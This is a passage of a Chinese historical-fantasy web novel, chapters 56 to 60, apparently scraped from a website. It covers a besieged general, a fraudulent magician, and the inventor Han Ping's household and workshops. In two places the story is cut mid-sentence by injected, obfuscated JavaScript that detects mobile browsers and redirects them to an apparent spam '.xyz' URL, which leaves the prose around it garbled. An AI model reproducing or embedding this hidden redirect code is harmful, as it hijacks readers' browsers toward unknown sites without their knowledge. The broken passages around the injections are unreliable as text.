只是，救治伤兵却极其艰难，别说这里缺医少药，就算有医生，有药材，也没多大用处。 伤兵快要**，整日价哀嚎，对士气的打击可想而知。 更让人难过的是，大部分士卒都是因为一点小伤，慢慢溃烂，慢慢死去，这个过程，是极其痛苦的。 现在有这么一件东西，能防止伤口溃烂，那简直是神药！ “疼，疼，疼……” 给个千总试了试，他喊着疼，等结束了，感受了下，“将军，我真的觉乎着舒服了很多，我也说不出来怎么回事。” 其实这和酒精消毒，一毛钱的关系都没有。 只是因为，酒精接触伤口，刺激之下，十分疼痛。 等疼痛过去，没那么疼了，自然就觉得舒服。 只是他这么一说，谢朝乘信心大增，急忙叫来随军军医江郎中，让他给伤兵们使用。 这一番折腾，伤兵们虽然鬼哭狼嚎的，嚎完之后，却是充满希望，谁也不想伤口慢慢溃烂啊。 “只要能救回一成的伤兵，等见了韩先生，我给他磕头。” 看着自己一手带起来的兵慢慢死去，这种痛苦啃噬着谢朝乘的内心，他真的不想再看到了。 每送走一个伤兵，便老了几分。 别看他还是年轻模样，整个人透着一股子沉重沧桑。 “大哥，这就不用，韩先生是我的客卿，你给他磕头算怎么回事？” 谢翼圣又骄傲了，大哥给我的客卿磕头，要得要得。 “三弟，这位韩先生太厉害了，有通天彻地之才，你果然是有眼光的，他才是第二才子，第一才子又是何人啊？” 武人就讲究个实用，韩平弄出来的东西，有一个算一个，都有用处，让人心服口服。 特别是那**，用好了，说不定就能重挫柔然大军。 “第一才子，我带来了。” 先卖了个关子，谢翼圣看向玄龟上人，“上人，韩先生的东西展示完了，该你了。” 唰唰唰…… 所有人瞪大了眼珠子，看向玄龟上人。 没办法，第二才子太让人惊喜了，第一才子，那不得飞上天的节奏？ “韩平也算有点本事，不过都是术士小道而已，难登大雅之堂。” 玄龟上人往前一站，先声夺人，他须发皆白，仙风道骨，端的是高人风范，谢朝乘丝毫不敢怠慢，惊诧道： “莫非韩先生所会的，上人都会？” 他问得合乎常理。 第二才子会的，第一才子没理由不会。 哪知道玄龟上人老脸微微一红：“并不是这样，他会的我并不会，但是，我会的他也不会。” 嗯…… 谢朝乘心里多少有点不舒服，人家会的，你不会，你说人家是小道？ 有病吧！ 什么道理啊！ 一点狗屁道理都没有！ 按照这个逻辑，我打不过柔然大军，也可以说柔然大军孱弱不堪？ 这个无耻的程度，完全突破了正常人的范畴，让人难以理解。 "上人有什么才华，不妨展示一二，让我等开开眼。" 人家是第一才子，有点傲气正常。 谢朝乘耐着性子继续询问，玄龟上人高深莫测地一笑，拿出来一只杯子，给所有人看。 啥啊？ 都死命地瞅着，没看明白。 “呔！” 一声高喝，玄龟上人长袖拂过杯子，原本的空杯，出现了满满一杯水，谢朝乘终于露出了笑模样，当即下令：“来人呢，把院子里的缸搬进来，让上人往缸里注满清水。这下，用水就不用那么紧张了。” 渔阳城内是有水井的，只是数量有限，需要排队，还要防着柔然人派内奸来搞破坏，反正用得不痛快，他已经好多天没洗过澡了。 手下亲兵还没动手，玄龟上人急忙阻止：“将军，我每天只能变出这么一杯水，多了就不行了。此乃夺天地造化，多了有伤阴骘。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15535340|170894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 嗯…… 刚高兴了下，谢朝乘又憋气了，不悦已经压不住了：“你莫非是戏耍本将军吗？一杯水够干嘛？” 他还想着，如果来得水多，可以对柔然大军用水攻，淹死他们，结果一杯…… 就和人生四大喜，全变成了四大悲似的。 久旱逢甘霖——一滴。 他乡遇故知——债主。 洞房花烛夜——隔壁。 金榜题名时——师弟。 谢朝乘是伯爵府的公子，读过书，识礼数，只是常年在边关打仗，早就养成了直来直往的性子，最烦这种弯弯绕。 “这……” 没遇到过这种人，从来空杯来水之后，都是一片惊叹，今个稀罕，他要搬缸，就算玄龟上人是个**湖，也反应不过来。 “大哥，你别急啊，他还能变出活鱼来呢。” “上人，赶紧再露一手。” 这是招纳的第一才子，不得维护着点？ 谢翼圣赶紧缓颊，玄龟上人沉住气，立马来了一个平地变活鱼。 扑通一下，一条半大的鲤鱼在地上活蹦乱跳的，谢朝乘大喜。 “了不起！” “我可是好久没吃过鱼了，再变，来两万斤，好好犒劳一下将士。” 人多，两万斤鱼，分给一万八千多人，一个人才一斤多，他也是怕累到玄龟上人了，不然直接要二十万斤，让渔阳城，家家有鱼，多吉利啊。 “将军，我一天只能变出一条鱼。” **湖玄龟上人要哭了，不带这么玩的啊，谁变鱼变两万多斤啊？ “那能不能变大点？” “做不到！” 完全没有了刚开始的热情，谢朝乘脸不是脸，鼻子不是鼻子，真来这套啊，久旱逢甘霖——一滴！ 看着鱼，他强忍怒气：“来人啊，把鱼送到厨房，给受伤将士做碗鱼汤。” 玄龟上人红着脸，咬着后槽牙：“将军，万万不可，此鱼来自东海龙宫，凡人不可吃它，我还需要把它送回东海。去！” 用袖子拂过，地上的鱼不见了，玄龟上人的袖子，湿漉漉的。 谢朝乘是真的泄气了，闹半天了，水不让喝，鱼不让吃，玩呢？ “三弟，就这，还第一才子。” “我看韩先生身上的一根**，都比他强。” 第56章 良禽择木而栖 第五十六章良禽择木而栖 “上人还会别的呢，快，快，给他们看看。” 荣耀正在蒙尘，谢翼圣有点慌。 他想继续看大哥还有他旗下将士，那没见过世面的样子，怎么鄙视起来了？ 玄龟上人也是头一次遇到这种事，急忙又来了一个碗中立筷。 明晃晃地，一根筷子，立在清水之中。 谢朝乘咂摸咂摸嘴，没说话，玄龟上人拿出一张白纸，轻轻甩动，变成了红色，不光是谢朝乘，还有其他副守备，千总，都在皱眉。 “没有点有用的吗？” 烦躁得不行，谢朝乘手握剑柄，“好好的筷子，躺着不也挺好，你让它立起来干啥？白纸或者红纸，我管你呢。 我要的是，**那种，可以杀敌，是酒精那种，可以救人，你这才是小道，比针眼都小。 什么**第一才子，狗屁！” 如果是其他人在他面前耍这个，他早一剑攮过去了。 可这是谢翼圣带来的，他在强忍怒火。 这时候，谢翼圣有点狗看星星，不明所以了。 空杯来水，平地现鱼，水碗立筷，白纸变红，这不都挺厉害的？ 他们为何不震惊？ “将军！” 玄龟上人一向被人捧着，习惯了，这会大为生气，“什么都要求有用，岂不是太过俗气？你看不上我的方术，却自有大道在其中。只是尔等粗俗，不能体会。” 越是自高身份，别人就会越是尊重自己。 这条原则，屡试不爽！ 哪知道，这次碰到了铁板。 嘡啷！ 谢朝乘宝剑出鞘，凶相毕露，一股子冰寒杀气，淹没整个大堂，几步来到玄龟上人跟前，狞笑道： “老子经史子集，无所不看；诗书礼乐，无所不通；便是双陆象棋，斗鸡走狗，也都是一等一的行家。 放下纸醉金迷，血战沙场，上解君父之忧，下护黎民百姓。 就凭你，也配说老子粗俗？” 现在的谢朝乘，分明是一头猛虎，还是亮出了爪牙的猛虎。 玄龟上人哪里见过这个，吓得浑身发抖，他的两个徒弟，早已跪在地上，一个劲地磕头。 “大哥，他还能驾驭天雷呢，这次过来，就是想让他，雷击柔然大营！” 好不容易带来的第一才子，可别被大哥杀了，谢翼圣急忙把玄龟上人压箱底的本领说了出来。 “哈哈哈……” 瞟了瞟玄龟上人畏怯的神色，谢朝乘七八分不信，他把剑放在玄龟上人的脖子上，“你能驾驭天雷？” “能……我能。” 只要说不能，玄龟上人感觉，对方会一剑劈了自己，谢朝乘挑了挑眉毛：“柔然大营就在城外，来吧。” 玄龟上人连连吞咽口水，结结巴巴：“禀告将军，要想驾驭天雷，先要建一圣坛，我会在坛上施法。告祷上苍，钧令雷公。只需九九八十一天，便可降下天雷。” 婆婆妈妈，拖泥带水……这是谢朝乘最厌恶的。 他抖动宝剑，唰地一下，把玄龟上人头顶的发髻给砍开了。 一下子，玄龟上人披头散发，没有了得道高人的气派。 “九九八十一天？渔阳城随时都可能被攻破，那里等得及？” “只给你三天时间，三天召唤不来天雷，你还有你的两个徒弟。” “五马分尸！” 扑通！ 听到五马分尸，玄龟上人跪了。 他才发现，这里根本就是龙潭虎穴，说**就**，别说三天降下天雷，就是三万天，他也降不下来啊。 他就是弄点钱花，哪知道会把命送了。 眼下，能多活一天是一天，说不定还能逃走呢，他只好打起精神，装模作样地建造圣坛。 等玄龟上人出去了，谢朝乘基本有定论了：“三弟，什么第一才子，我看他就是个骗子！还是韩先生的本事大。对了，**剩下多少？趁着柔然人还不熟悉这件大杀器，我们可以想个办法，重创他们。” 渔阳城就像被群狼围困住的野牛，必须时不时地展现一下攻击性。 不然，狼群将会毫无顾忌，把野牛撕扯成碎片。 “这个……应该是不多了。” 谢翼圣让人点数了下，只剩下八十多个了，谢朝乘的手又握住了剑柄：“你带了多少过来？” “一千五百多个。” “你！” 太败家了！ 谢朝乘都不知道说什么好了，“韩先生给你那么多**，是让你交给我，让我使用的，你倒好，肆意滥用！现在剩下八十多个，根本不敢用，只能藏着，起到一个震慑作用。” 副守备，千总们看着谢翼圣，慢慢回过味来，不是这位谢家三少牛逼，是他身后有个韩先生，人家的大宝贝太厉害。 一千多个大宝贝砸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15535341|170894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过去，就是个傻子，也能对付柔然人。 “大哥，你别急嘛。” “需要**，我给韩先生传讯，让他多做点就是了，你不知道，我给他准备了五万两银子呢，想做多少都有的。” 谢翼圣也是没想到，**那么好用，他之前听说边关打仗何等的凶险，有了**才发现。 就那么回事嘛。 “你想得倒是简单，韩先生这种大才，岂是银子能够笼络的？” “关内王公贵族数不清，谁缺银子啊？” “光是守个渔阳城，怎么也花销百万两银子了，又如何？还不是死局？” “韩先生很可能是能够解开此死局的高人。” “你啊，竟然慢待高人，真是该死啊你！” 渐渐地，谢朝乘就发现，自己的弟弟，还是那个纨绔，完全不懂军中大事的沉重，打仗光是银子的事吗？ 还有无数的人命。 每年在边关，都有几十万人陨落，也是这场战争，把大越王朝打得国疲民穷，继续下去，说句难听的，**有日。 “大哥！你这话我不同意。” “我从来没有慢待过韩先生，我都是以礼相待。” 荣耀不但蒙尘，还正在消散，光是从大哥说话的语气，就知道，变了。 其他将士看自己，也没有那种崇拜了，谢翼圣只觉得冤，我做错什么了我。 “还说没有慢待？” “从来真正的高人，都是傲骨铮铮，你倒好，把一个玄龟上人当做什么第一才子，让韩先生屈居第二。” “可以想象，韩先生内心会是何等的不甘，何等的委屈。” “由此，他也看得出来，你非良主。” “良禽择木而栖，只怕他已经放弃你，转投他人了。” 想到这种可能，谢朝乘急了。 其他将士对对眼睛，也都是忧虑不已。 将心比心，如果是自己，受得了这种委屈吗？ 明明自己的本事更大，上司却让个神棍位居在自己之上，这种憋屈，谁忍啊？ “不能！不能！韩先生经常说，我对他有知遇之恩，不会转投他人的。” 不久前还有第一才子，第二才子，转眼间，一个都没有了是吧？ 谢翼圣心里哇凉哇凉的，无法接受这个现实。 “你对他有恩，他已经报答了。” 谢朝乘看向谢翼圣的腰间。 第57章 要不，把妹妹嫁给他？ 第五十七章要不，把妹妹嫁给他？ “报答了？” “你腰间悬挂的大夏龙雀，哪里来的？” 大夏龙雀！？ 将士们惊愕，瞪大眼睛，齐刷刷地看了过去，有些人激动到不能自已，普通人就算知道大夏龙雀，也都是道听途说。 能站在这里的，都是在战场上杀出来的，他们经历杀伐，太明白一把神兵利器，是何等的宝贵。 大夏龙雀不光是神器，更带有强烈的传奇色彩。 大夏王赫连勃勃，那可是强横无比的存在，此人容貌俊美，生性残暴，平生最爱，便是**。 他随身带着龙雀宝刀，所过之处，但凡看到不顺眼的，当场杀死。 就算是大臣，看他一眼，杀死。 有人进谏，杀死！ 有人不进谏，杀死！ 有人笑了，杀死！ 有人没笑，杀死！ 有人哭了，杀死！ 有人没哭，杀死！ 赫连勃勃的属下臣民，永远活在恐惧之中，不知道什么时候就**，若是换个帝王，早就**了，奈何赫连勃勃本人能力超群，简直可说是战无不胜攻无不克。 他不但杀别人，连自己的儿子，也毫不客气，他故意挑唆，让几个儿子互相杀戮，让活下来的继承王位。 龙雀宝刀是他使用天外陨铁，征集无数能工巧匠，费时七年打造而成，名震寰宇。 此刀因为**太多，自带杀气，如果长时间不饮血，便会啸叫不已。 北龙雀，南湛卢，天下名刃，莫过于此，了得呀。 “这把龙雀确实是韩先生所赠。” 谢翼圣又高兴了，看你们那没见过世面的样子，谢朝乘不惯着他，上去抢了过来，入手沉重寒凉，轻轻一拔，发铿锵之声。 刀刃犹如秋水，深沉幽玄，似有龙潜。 古人云，神物必晦。 此刀一旦到了战场之上，犹如雀落，灵动至极。 “此等神器，用多少钱也无法购买，谁能不爱？” “韩先生得此宝刀，赠予你，便是暗暗告诉你，他报恩了，以后便是两不相欠，你怎么连这个道理都不明白？” 可以想象，如果让京城的纨绔知道了这把宝刀，哪怕出十万两银子，恐怕也要拿下，谢朝乘忍不住想，韩先生赠予宝刀，当时心情，必然是失落的。 其他人纷纷点头。 等谢朝乘询问了韩平过往事迹，都是唏嘘不已。 “韩先生将如此神器送给三少爷，当是‘不欠’之意。” “三少爷给韩先生的，左不过银两而已，韩先生送刀，可抵银两千倍，又剿灭土匪，还伯爵府安宁，回报知遇之恩，足矣。” “他弄出**，阎罗醉，白糖，辣椒素，酒精，煞费苦心，然终究不被重视，位居玄龟上人之下，难免心灰意冷。” “关山难越，人才难得，可惜可惜。” …… 好家伙的，这些人说着说着，好像韩平已经舍弃自己而去了，最可气的，他们连韩平的情绪，都脑补了。 谢翼圣忍不住大叫：“不可能！韩先生还要和我合伙经营阎罗醉呢，怎么会走？你们能不能别想那么多？韩先生不是小气之人，就算我有做错的地方，他会原谅我的。” 这个…… 众将士不确定了，最后还是谢朝乘拍板：“秦明虎，你带五十名精兵，速回嘉陵，把这柄宝刀，还给韩先生，请他原谅三弟的怠慢。若是他不生气，便请他再制作一批**。有了**，守住渔阳城便有五成把握了。” “得令！” 秦明虎急匆匆点兵而去，谢翼圣现在也算是闹明白了，大哥还是嫌自己，对韩平不够好，不够礼贤下士。 没想到，韩平才是第一大才。 要不，把妹妹嫁给他，这样不就套牢了？ …… 柔然大营，攻打渔阳城的，是叱利可汗坐下二十四长之一，大名鼎鼎的右谷蠡王，郁久通迦。 郁久乃是可汗之姓，郁久通迦是叱利可汗的堂弟，属于皇亲国戚。 攻打渔阳城，攻下来好处极多，又没什么风险，只有皇族才能拿到这样的好差事。 眼看着，就等大 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马上有人去联系隐狼，千夫长振作精神：“谷蠡王无需过于担心，我柔然能工巧匠无数，只要能够获取一枚毒烟之物，拆开看看，我们便可以有自己的毒烟了。 到时候两边都有毒烟，南蛮依然不是我们的对手。” 嗯？ 郁久通迦不由得眼前一亮，是啊，你们有的，我们也可以有，如果自己旗下大军先有了毒烟，在二十四长中也可以扶摇直上。 只要战争继续，谢朝乘就不可能不用毒烟，只要用，夺过来几枚，绝对没有问题。 “图伦机敏，言之有理。” “传我指令，速招能工巧匠前来，凡能制作毒烟者，赏白银千两，骏马十匹。” 灰暗的心情一扫而去，两边都有了毒烟，那么渔阳城的形势照旧，自己还是占据优势的一方。 等破了渔阳城，直逼阳关，说不定自己是第一个，打破越朝都城的，到时候，左贤王的位子也未必不能坐上一坐。 第58章 有点疼 第五十八章有点疼 大越王朝开国近两百年，世家林立，皇亲国戚不用说，那是白玉为堂金作马，每年皇上都要赏赐目子钱，手里握着百万亩的田地，矿场等等。 偏偏他们还不用交税，两百年积累下来，说一句泼天富贵都不过分。 这是显贵，之后是士绅，他们是科举读书出身，三年清知府，十万雪花银，一家之中有一人为官，整个家族便壮大了起来。 就算后世子孙并不能中举，那也不怕，还可以捐官，也就是买官。 如此财富便越滚越大。 再其次是商贾，他们靠着经营赚钱，属于是有钱没地位，在穿着上都受限制，但有钱就是有钱，可以在家里偷偷花嘛。 所以，别看内忧外患，大越王朝的有钱人，数不胜数。 他们不怕花钱，就怕钱花不出去，就怕没有好吃的，好玩的。 有着这样的潜在消费群体，阎罗醉真是不愁卖。 特别是噱头那么多的情况下，喝天下第一烈酒已经成了最时髦，最高贵的事情，有钱人不喝点这个，都没脸出门的。 距离嘉陵城越远的地方，阎罗醉就越贵，传到京城，已经是十两银子一坛，比原价足足高出十五倍之多。 那么高的溢价之下，大商小贩那是趋之若鹜，纷纷排队，就算只卖出去一坛，那也够花好几年了。 因此阎罗醉的酒肆之外，从早到晚都有人排队。 什么早早排队，没这个概念了，很多人是连续排了两天，方才有机会购买，排队人员的工钱也变高了，而且一天一个价，甚至一天好几个价。 没办法，有人急着要。 渐渐从两文到十文，再到二十文，如今已经来到了二十三文。 这是灾民们完全无法想象的，啥也不用干，只是排队，便能赚二十多文，那还不得全家老少一起上啊？ 非灾民倒是也想赚这份钱，可真不是那么容易的。 为了确保公平，知州府派了衙役负责监督，之前用个石头，砖头可以占住位置，现在不行了，人要离开，必须得有一人替换才行。 从白天到黑夜，就待在一个地方，也挺累的。 有些大商贾慢慢觉得，这样不是办法，便开始在工坊四周徘徊，弄清楚工坊的下一个好东西是什么。 “依我看，君子糖一定会大卖，莹白如玉，谁不喜欢？” “通判袁郛一直偷偷购买辣椒素，他一个人在家里偷偷吃，老婆孩子都不让吃，这辣椒素才是神品。” “不！那妖妖灵更是神奇，受伤了抹上一点，很快便能结疤。” “牛拉水车也不错啊，其他人做的，没有工坊出品的好。” …… 他们急得像热锅上的蚂蚁，恨不得立马就得到这些好东西，倒卖出去，赚大钱，奈何韩平不见外人。 有钱了，韩平不再着急，就是要精工细作。 本来他还打算开个运动会，让做工的人，有个娱乐，只是见这些长工，短工，一个个的，都是瘦骨伶仃，着实难以运动。 可转移大家的目光，放松大家的精神，这个是要做的，于是他先放出风去，要举办第一届斗牛大赛。 第一名奖励一百零银子，第二名奖励五十两银子，第三名奖励十两银子。 消息一出，满城的纨绔都轰动了，一直玩斗牛的是他们，他们手里有很多彪悍公牛，这次是有用武之地了。 同样，韩平还是不急，仅仅嘉陵城的斗牛，还是太少了，他要让消息往外面传一传，让附近有斗牛的人，都过来。 这两天，除了偶尔巡视，他大部分时间呆在陶瓷工坊。 “孙大匠，不能更透明一些吗？” “你之前没有烧出过琉璃吗？” 不管是冷凝管，还是其他的精细的化学设备，都需要玻璃管，甚至是多种不同的玻璃管，韩平还以为，这个时代起码有琉璃呢。 哪知道，竟然完全没戏。 “透明？这个……我不会。” 负责烧陶瓷的名叫孙祖望，他烧制陶瓷的水平，十分之高，还曾在官窑干过，只是，他只擅长最古典的烧制办法。 “那你有什么听说过，谁会烧制透明琉璃？” “没听说过。” 像个木头一样回答，孙祖望很惶恐，他还以为自己的技术会获得极大认可呢。 “没事没事，你继续吧。” 对方烧制了一辈子陶瓷，该怎么烧，都形成本能了，想要靠他去研究，烧制出玻璃，显然不可能。 无奈之下，韩平只好在工坊的门口张贴文告，寻找能够烧制琉璃的工匠，只要有人能够带来，便奖励五十两银子。 其实，他并不是不会烧制玻璃 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“我不是嫌弃你，只是习惯自己洗。” “你去忙吧。” 和曹淑君仅仅是认识，还不熟，一个大男人让不太熟的女子洗澡，在心理上，韩平还需要一段时间才能接受。 “奴婢去了。” 说是不嫌弃，却连碰也不碰自己一下，自己要碰他他又不愿意，出了门，曹淑君委屈地掉了眼泪。 自己的身子真的有那么脏吗？ 怎么给人当小妾，她也是打听过的，男人喜欢蛄蛹这事，她也知道，就怕韩平不乐意自己身上蛄蛹，那便万事皆休。 “怎么了？” “韩先生不愿意让我碰，他看不上我的。” 回到厨房，刘雪宝问起，曹淑君几近绝望，刘雪宝也着急，韩平至今没有纳妾，已经有人说她是妒妇了。 何况，不和曹淑君抱成团，如何是赵杏儿的对手？ “淑君……要不今晚，你装扮成我的样子，睡在我和相公的房间。” “等生米煮成熟饭，相公不答应也不行，只能纳你为妾了。” “只是那一关颇为疼痛，你须死死忍耐才行。” 第59章 她很懂 第五十九章她很懂 “夫人，你……你说什么呢？” 曹淑君脸红到耳朵根，她从来没有想过这种办法，一时间都懵了。 刘雪宝洗了把手，拉着曹淑君，柔声劝慰： “别怕，相公用我的时候，可怜惜了，只有忍不住才莽撞些。反正你已经来这个家里了，早晚是相公的人，何不用点法子？” 各种压力，刘雪宝也是承受不住了，特别是想到，外面有人说她是妒妇，更是心如刀绞。 她凭什么独占相公一人？ 根本不配啊。 可相公的想法，她又猜不透，只能展现诚意了。 曹淑君的身子她是看过的，白净绵软，相公没道理不喜欢。 “夫人……不行，不可以的。” 明白了刘雪宝到底在说什么，曹淑君连连摇头，“奴婢倒是不怕疼，为了他，疼**我也愿意，只是……他若是中间发现是我，十分嫌弃，那我还有什么脸面活在世上？” 照理说，曹淑君的家庭出身算是不错，庄仆虽然不是大富大贵，也是有吃有喝的。 她原本也没有那么自卑，只是，韩平的工坊越发弄得大了，显得她微不足道。 想要给韩平当小妾的女人，绕着嘉陵城八百圈都不止。 在工坊干活的人家，听说韩平没有小妾，便有意无意地带着漂亮女儿过来，想让韩平看到。 还有直接让媒婆来家里的。 就是嘉陵城有头有脸的大户人家，也在打韩平的主意。 外面风卷云涌，家里还有个虎视眈眈的赵杏儿，她不努力，半点机会也没有。 每当一个人的夜晚，她总是不免想起，那天，韩平匹马单枪剿灭土匪，得胜归来的英雄气概，便心痒痒得一夜难睡。 白日里又见韩平，各种巧思，更是崇仰。 这辈子若不嫁给他，活着还有什么意思？ 虽然被拒绝，她的心却更加坚定。 “相公肯定不是嫌弃你，你的美貌，在附近也是有名的。” “既然你放不开，且别太难过，咱们缓缓图之。” 这种事情，刘雪宝也不敢太过忤逆，怕惹得相公不快。 两人闺中密友一般，咬着耳朵，说着体己。 空气中是清炖老母鸡的霸道香气，还有韩平教给她们做的东坡肉，暗红色的猪皮，泛着油光，看着便让人食指大开。 除了这些还有一些凉拌菜，凉拌猪耳朵，??用盐和醋去腥，焯水后加入八角，姜片，黄酒，酱油卤制，放凉后，切丝。 之后用油，酱油，白糖，醋，蒜末，香菜，辣椒素搅拌。 出来之后格外鲜美，嘎嘣脆，又酸辣爽口。 脆琅玕??，用莴苣去叶皮，先过水，焯熟，加入姜、盐，醋，辣椒素搅拌静置，口感甘中带辣，十分脆生。 还有凉拌豆芽，凉拌春韭。 且不说这些好吃的菜品，光是白面馍馍，看着便稀罕人，最后还要弄两味汤水，一甜，一咸。 两人只是做出来，便很是不适应，觉得太丰盛了些。 转念又想，韩平就应该吃这么好才对。 “夫人，我回来晚了，莫怪。” 这时，赵杏儿回来了，气氛顿时一变，刘雪宝守着礼节：“你有工坊的事情要忙，无碍的。” “谢夫人宽容。” 赵杏儿急忙去洗澡，她可不想一身汗出现在韩平跟前。 比刘雪宝两个，赵杏儿的出身更高一些，算是吃过见过的。 所以行事作风，比两人更落落大方。 她并不会和刘雪宝争风吃醋什么的，反而格外客气，半点礼也不缺，让人抓不住把柄。 她越是这样，刘雪宝越是害怕，特别是，赵杏儿还揣度着韩平的喜好，故意饿着，如今虽然还是丰腴，却是体态柔顺，没有半点累赘。 “韩先生，女子工坊那边，竹筒已经做出来了，我拿了两个，您看看行不？” 洗了澡，赵杏儿穿上了相对不错的纱衣，又清凉又体面，显得身姿婀娜，肤如凝脂。 虽然说，女人不能随便出门，可在家里，女子穿着便可随意许多。 赵杏儿显然是受过服饰教化的，穿衣服十分有章法，守着礼节，散着魅惑，若是看做派和衣着，她才是这里是夫人。 刘雪宝和曹淑君对对眼，都是心生忌惮。 “很好！” 摩挲了下，韩平发现，竹筒做工精致，披锋，飞边，毛刺都打磨了去，又保留了青竹的葱翠，很是养眼。 “只是，还需要在上面刻字，待我写给你，你明 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这就叫养气，气慢慢浩然，才可以修身齐家治国平天下。 圣人之道本来是挺好的，要不然也不至于名动四方，只是被后来的**子给糟蹋了，好像圣人永远得是愁眉苦脸。 既然来到了这个世界，韩平便打算践行真正的圣人之道，不是给人看的表面，而是内心深处，真是这么想的。 “先生之才，像大海一样广袤，杏儿钦佩至极。” 赵杏儿单膝下跪，玲珑的腰间曲线，完美地展现了出来，凸凹有致，丰腴有度，十足的尤物。 “没有那么夸张，就是随手一写。” 该装逼的时候不装逼，活着有何意义？ 韩平当然不会告诉赵杏儿，这是周敦颐的《爱莲说》，反正对方也不知道。 “杏儿明白了，以杏儿卑贱之躯，是配不上先生的。” “杏儿别无他求，但愿能在先生身边，帮先生做事便可。” 赵杏儿的眼中，是无限的崇拜，向往和爱慕。 韩平急忙拉她起身：“什么配不上，配得上，我是人，非神也。对了，女子工坊的蒙学开设得怎样了？” 第60章 头牌来了 第六十章头牌来了 “已经招募了三个蒙学西席，男娃儿让他们学些《幼学琼林》《百家姓》《千字文》，女娃儿学些女德。” 这是当下最普遍的私塾课程，只有男娃才能学正经的书籍，之后还有四书五经，科举之道，女娃讲究一个无才便是德。 就算是大户人家，也不过是在德容言功上，多些功夫。 虽然韩平并不认同，但他知道，这些礼法深-入人心，不光是士大夫遵从，就是平民老百姓，也一样的奉为圭臬。 敢动这些，方寸之间，人尽敌国。 收容寡妇是无奈，是救人，给女娃学正经书籍，便是大逆不道，倒反天罡。 他再有超越这个时代的知识，也不敢这么作死。 形势比人强，**部分时候，都必须顺应时代，不然只会被时代的车轮，碾碎成渣渣灰。 “你和她们多多交代，不要传扬出去，免得惹来麻烦。” “杏儿明白。” 和知书达理的女孩子说话，就是简单顺畅，两人谈谈工作，刘雪宝叫吃饭，便一起来到大堂。 老太太拉着小雪瑶的手，看着这一大桌子菜，有点无从下手。 韩平给她拿了个白面馒头：“娘，你吃吧，老天爷指定比咱们吃得好。” “平儿，咱们这么吃，且不说老天爷嫉妒，就是有座金山，怕也不够啊。” 真的是穷怕了，不久前差点饿死，老太太不敢吃好的了，怕浪费。 一个白面馍馍，能换几十个菜团子，那么，吃菜团子，便能多吃好几天。 对这些账，韩平根本不想算，以他现在的身家，这般天天吃，再吃个几辈子也吃不完。 况且，他也没吃什么名贵的菜肴，无非是一只老母鸡，一些猪肉罢了。 “娘，就外面那些工坊，别说一座金山，就是给一百座金山，也是不卖的，那都是金鸡母，能下金蛋蛋的。这些吃喝，连金蛋壳也用不了。” 尽力地劝着，老太太这才紧张兮兮地吃点鸡皮，不太愿意吃肉：“我年纪那么大了，还吃这好东西，难免神嫉鬼羡，你们年纪轻，阳气重，不怕的，你们吃。” 刘雪宝，赵杏儿，曹淑君也都劝着。 大家客客气气，只有韩平比较随意，想吃什么，便吃什么。 小雪瑶小心翼翼地啃着鸡爪子，啃几下就看看韩平，好像在问，我啃鸡爪子，今晚你会不会打我姐姐？ 虽然刘雪宝一再解释，她还是十分犹疑，特别是，之后她又偷听了几回墙根，发现韩平果然是**的。 偏偏自己姐姐晚上被打得那么悲惨，白天看起来又欢欢喜喜的，她是分外不明白了。 “婆婆，我和淑君，我们不光编席子，马上就要纺纱，织布，也要赚钱了。” 刘雪宝怕被人说懒婆娘，给自己邀功，小雪瑶紧跟着：“阿婶，我也会织布。” 老太太乐呵呵地摸了摸小雪瑶的脑袋：“都是好孩子，给你这个。” 她给小雪瑶夹了一块油乎乎的东坡肉，小雪瑶一下子慌了，如果吃了这个，晚上韩平只怕会更加用力打姐姐了。 可是……看着眼前油滋滋的肉，她口水止不住，心里想着不能吃，吃了姐姐要挨打，手上控制不住，筷子一动，已经吃到嘴里了。 好香啊！ 一边咀嚼着，她不好意思看姐姐了，姐姐对不起，害你挨打，可是肉肉太香了。 等我长大了，替你挨打。 又想，如果韩平打自个，自个长大了，便可以逃跑。 可看看这一桌子好吃的，逃跑了，哪里还吃得着？ 她敏-感，想得深远，越想便越是纠结不已，无从选择了。 …… 俗话说，吃什么便是什么，人是食物的重新组合。 随着各种肉食的摄入，韩平的身体素质，一天天变强，他才十八岁，正是年轻的时候，血气方刚。 当天晚上，他的房间里荡漾着有节奏的律动，以及刘雪宝极力压制，又无奈倾泻出的梦呓。 东边厢房里，曹淑君蜷曲着身子，嘴唇咬着被角，神情近乎迷乱。 西厢房的赵杏儿，则跪坐在床铺上，念念有词，好像在祈祷着什么。 隐秘的，不可言说的一切，终究属于夜晚。 当第二天的太阳升起，人们起了床，穿上得体的衣服，便又是一番景象。 就是早餐，韩家的水准 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她可是知道，青-楼的女人最擅长魅惑男人，这方面，她完全不行的。 妃苒姑娘更是其中翘楚，据说有些公子哥，仅仅想和她见上一面，就要花费上百两银子。 “我不认得她，请她回去吧。” 好家伙的，眼前三个女人，动都不动了，僵直了一样。 韩平可不想搞得后宅不宁，虽然现在也乱乱的，到底算是一种平衡。 “是。” 南宫狗剩赶紧跑了出去，心中更加钦佩，那妃苒姑娘身姿曼妙，貌若天仙，韩先生竟然见都不见。 大家都说夫人善妒，莫非真是如此吗？ …… 大路边上，因为怡红楼妃苒姑娘亲临，周围站了很多人看热闹。 既然是头牌，妃苒姑娘的容貌，那是没得说，不光是美丽那么简单，更有一种风流韵致，让人-流连忘返。 